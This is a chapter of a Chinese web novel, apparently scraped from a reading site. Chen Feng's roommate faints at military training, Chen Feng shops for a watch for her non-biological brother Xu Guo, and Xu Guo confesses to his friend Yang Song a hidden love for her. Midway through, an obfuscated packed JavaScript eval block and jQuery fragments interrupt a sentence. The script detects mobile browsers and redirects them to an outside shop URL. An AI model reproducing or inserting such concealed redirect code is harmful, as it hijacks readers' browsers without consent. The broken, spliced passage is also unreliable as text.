54. 苦情剧男主角

作品:《科学养珠手册

    军训和高三真的要说有什么区别,那必定是:高三坐在教室精神受苦,军训站在室外□□受虐。


    九月烈日炎炎,丝毫不比七八月逊色,三四天晾晒下来每个人都成功上了色。


    陈逢踢正步分了心,教官见拿树杈点点,她立即领会重新站直身子,然而她左侧的室友潘瑞雪,只是朝她望了眼,下一秒便翻着白眼倒了下去。


    “瑞雪早上没来得及吃早饭,可能低血糖了。”


    陈逢下意识给潘瑞雪当人肉垫子,被砸出一声闷哼,忍着痛没推开,见教官没动,忍不住提醒:“教官?”


    教官抱起潘瑞雪向前迈了几步,发现陈逢还站在原地没动:“你回去继续训练。”


    “我……”


    “服从命令!转身,回列。”


    陈逢动动胳膊,还算好,能动,没再反驳。


    没多久教官回来了,单独将陈逢拎出来。


    “潘瑞雪同学说砸伤你了?怎么不第一时间告诉我?你现在去看看伤得严重不严重。”


    好家伙,他给解释的机会了?


    陈逢正要说话,教官摆摆手:“快去吧,别耽误大家时间。”


    陈逢:?


    医务室离训练广场不远,陈逢到时,潘瑞雪已经醒了,医生一脸严肃守在病床旁边,看着她喝糖水。


    “小逢你来了!”潘瑞雪见陈逢,像看到救星似的,“小舅舅!我刚刚倒下砸到了同学。”


    潘瑞雪背着她的“小舅舅”给陈逢使眼色,陈逢立刻懂了:“老师,我手臂疼,抬不起来。”


    陈逢轻微肌肉拉伤,没多大问题。


    然而在潘瑞雪撒娇卖乖下,她的小舅舅还是给两人开了一天假条。


    “抠门,一天都过半了。”潘瑞雪和陈逢吐槽。


    喝完糖水,潘瑞雪恢复血色,为了不浪费这短暂的假期,拉着陈逢要请吃饭道谢。


    陈逢忙说不用,但拗不过只得同意。


    谁想潘瑞雪说的吃饭,是离开学校,到市中心广场。


    “这家火锅不错,这家寿司还可以,这家烤肉也很好……小逢你想吃什么?”潘瑞雪迟迟不下决心,转脸看到陈逢心不在焉。


    “发什么呆。”


    陈逢站在某品牌手表玻璃橱窗外,盯着展览柜的手表出神,没注意听潘瑞雪的话。


    她在计算高考拿的奖金除掉学费,还能剩下多少。


    “买表?”潘瑞雪没等陈逢回答,“这个品牌偏年轻款,送男朋友?”


    陈逢下意识否认:“不是,是我哥生日。”


    离许过生日,还有整整三月。


    自烧笔记本后,她每次都得提前几个月发愁,要送些什么礼物给许过才好。


    偏偏许过过得和老和尚似的,无欲无求。


    只要她送,他都高高兴兴,照单全收。


    “送许过学长的话,不如看看旁边那款?简约温和,这款看上去锐利些。”


    报道那天许过送陈逢到宿舍,潘瑞雪和许过打过照面,许过顺便帮她搬了东西。


    许过眼睛很好看,眼皮很薄,眼角微微下垂,眼神如清晨晓雾清透,仿佛天生澄澈爱笑。


    说话时会保持盯着人看,时不时给人正向反馈,表示他在认真听。


    给潘瑞雪留下修养很好的初印象,潘瑞雪发自内心觉得,许过温润气质与陈逢挑选的款式实在不搭。


    陈逢扫了眼潘瑞雪说的那款,没附和也没否认,有意岔开:“好饿!我们先吃饭吧。”


    烤网上肉片滋滋冒油。


    潘瑞雪好奇地问:“你和你哥的名字,是故意取的相对的字吗?错过之后再重逢,破镜重圆?”


    陈逢清楚事实上两人名字不过是个巧合,但从这个角度解释,也很有意思。


    陈逢的逢,是相逢的逢。


    许过的过,是哪个过?


    陈逢没和潘瑞雪澄清自己和许过并非亲兄妹的误会,“我的名字是妈妈取的,确实是相逢的意思。”


    “你哥呢?”


    下一秒,陈逢消息发了出去。


    “哥,我能问个问题吗?”


    “什么?”


    看到陈逢的问题,许过握紧手机,失了神。


    许过的许,是老许的许,过是过去的过。


    老许说,要让过去过去。


    过去是枷锁,未来是你的。


    这是当时的情境下,老许对他的期许。


    长时间没得到回应,连发几条消息如石沉海般,陈逢果断发出视频邀请。


    陈逢眉眼带笑,隔着屏幕撒娇:“哥,你没回答我的问题。”


    “怎么想到问这个?是过去的过。”


    许过温声答完,敏锐地察觉到陈逢的背景是商场,而不是学校。


    最重要的是,陈逢从来没有用左手玩手机的习惯。


    “手怎么了?”


    “没事!”


    陈逢心虚抬起右手:“你看,我好好的。”


    确定陈逢真的没有在说谎欺骗自己,许过转开话题:“一个人在外面?”


    “没有一个人。”陈逢偏了下镜头,将原本站在视频右侧边缘的潘瑞雪摆进视频中央:“你看。”


    “学长好,小逢和我在一起。”潘瑞雪跳出来打招呼。


    许过点点头,眼神始终跟随陈逢,因为她的一颦一笑眉眼逐渐柔软。


    “别在外面玩太晚,注意安全。”


    “不对啊,你们军训结束了?”杨颂听见陈逢和许过的对话,凑过来插话。


    陈逢苦了脸:“怎么可能!今天是特殊情况。”


    杨颂显然是误会了什么,没再多说。


    视频挂断后,杨颂双臂一环,仿佛看戏似的等着许过反应:“辩论社有个学弟,对小逢挺感兴趣的。”


    暑假杨颂在酸菜鱼二楼和陈逢打招呼,对方和杨颂打听过陈逢,杨颂打着幌子糊弄了过去。


    许过先前不知道这回事,愣怔了一会儿,沉默良久后回答:“知道了。”


    他轻描淡写的一句,给杨颂弄得无语了,“就这样?”


    许过眸光平静,看不出一丝波澜:“不然呢?”


    杨颂满脑子问号:“你不吃醋吗?”


    “吃醋?”许过反问。


    杨颂发出一声哼笑:“你不喜欢小逢?”


    许过从来没承认过,也不会承认,他喜欢陈逢。


    他没说话,低头整理衣领褶皱。


    杨颂更为得寸进尺:“真不吃醋?那下次学弟再要联系方式,我可给了。”


    宿舍朝向,只有上午一段时间能照


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16562036|177021||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着太阳,从中午开始,阳光就会一点一点从室内偏移剥离,就像许过现在的眼神。


    许过安静了半晌,收回视线拿起笔,胡乱在白纸上划了一通。


    或许是不满意,他揉皱白纸,随意扔进垃圾桶,片刻后语气加重,不知道是在回答杨颂,还是问自己:“以什么身份?”


    他当然吃醋。


    他爱陈逢,在意识到这份爱时,爱已经深入骨髓,每时每刻,让他快要发了疯。


    害怕自己做什么都算得寸进尺;


    害怕失去家人这层保护层;


    不断逃避压抑感情逼迫自己放弃。


    但因为太爱了又无法抽离,所以只能不断地反复自我折磨。


    杨颂顿时哑口无言,很快找回思绪。


    “你想以什么身份,就以什么身份。”


    许过单手撑起下颌,刹那间红了眼圈。


    爱意在眸底辗转流连,漾出的一圈圈涟漪恰好静止在抬眸前,好让杨颂看个分明。


    “我不配。”他低声说。


    现在的许过是陈家滋养出来的。


    温文表皮之下,自卑、偏激、浑身戾气的灵魂,才是最真实的他。


    长久以来克制的感情趋近爆发,潮红蔓延,逐渐包裹住许过所有裸露在外的皮肤,他迫切需要一个人倾诉。


    幸好,他还算有个朋友。


    许过头沿着手肘弧度滑落,无力埋入臂弯,呢喃重复:“我怎么会不爱她呢?”


    不见阳光的雪山永远是雪山,而有了光便成就了日照金山。


    对于他而言,他是雪山,陈逢之于他,便是那束光。


    他怕她爱他,又怕她不爱他。


    只要他不越界,他就不用面对陈明之,不用面对家人的失望。


    只要扮演好温柔哥哥这个角色,一切都会向预设好的方向发展,他不愿意事情变得不可控。


    许过泛红的眼尾,让杨颂骤然噤声。


    杨颂看得出许过对陈逢的感情不纯粹,但许过会这么简单粗暴地承认,杨颂是没想到的。


    以至于他呆愣许久,没接上话。


    “那你打算一辈子当她哥?看着她恋爱,结婚?”这话说得重了。


    即便完全知晓许过的过去和顾虑,杨颂还是无法理解,许过为什么一点机会都不肯给他自己。


    “至少确认小逢的态度,如果她也有同样的感情,你凭什么替她做选择。”


    “一旦开始试探,就回不去了。”许过不敢也不能撕开这个口子,他十分确定,自己不会收手。


    这个答案,出乎杨颂预料:“你什么时候知道的?”


    “你第一次提醒我的时候。”


    杨颂手中的玻璃杯滑落,落在地上发出清脆声响,他不可置信瞪大眼,仿佛在说:“那么早?”


    许过苦笑:“也有可能,更早。”


    有了开头,话匣子便再关不上。


    杨颂拉开易拉罐的拉环,递给许过时,不着调扯了下唇,颇有种伤口撒盐的架势。


    “你知道你现在像什么吗?像苦情剧的男主角。命都可以给你,但不能爱你。”他夸张道:“我这个俗人,听不得。”


    “所以对你来说,小逢到底意味着什么?”


    “她是灯塔,我的灯塔。”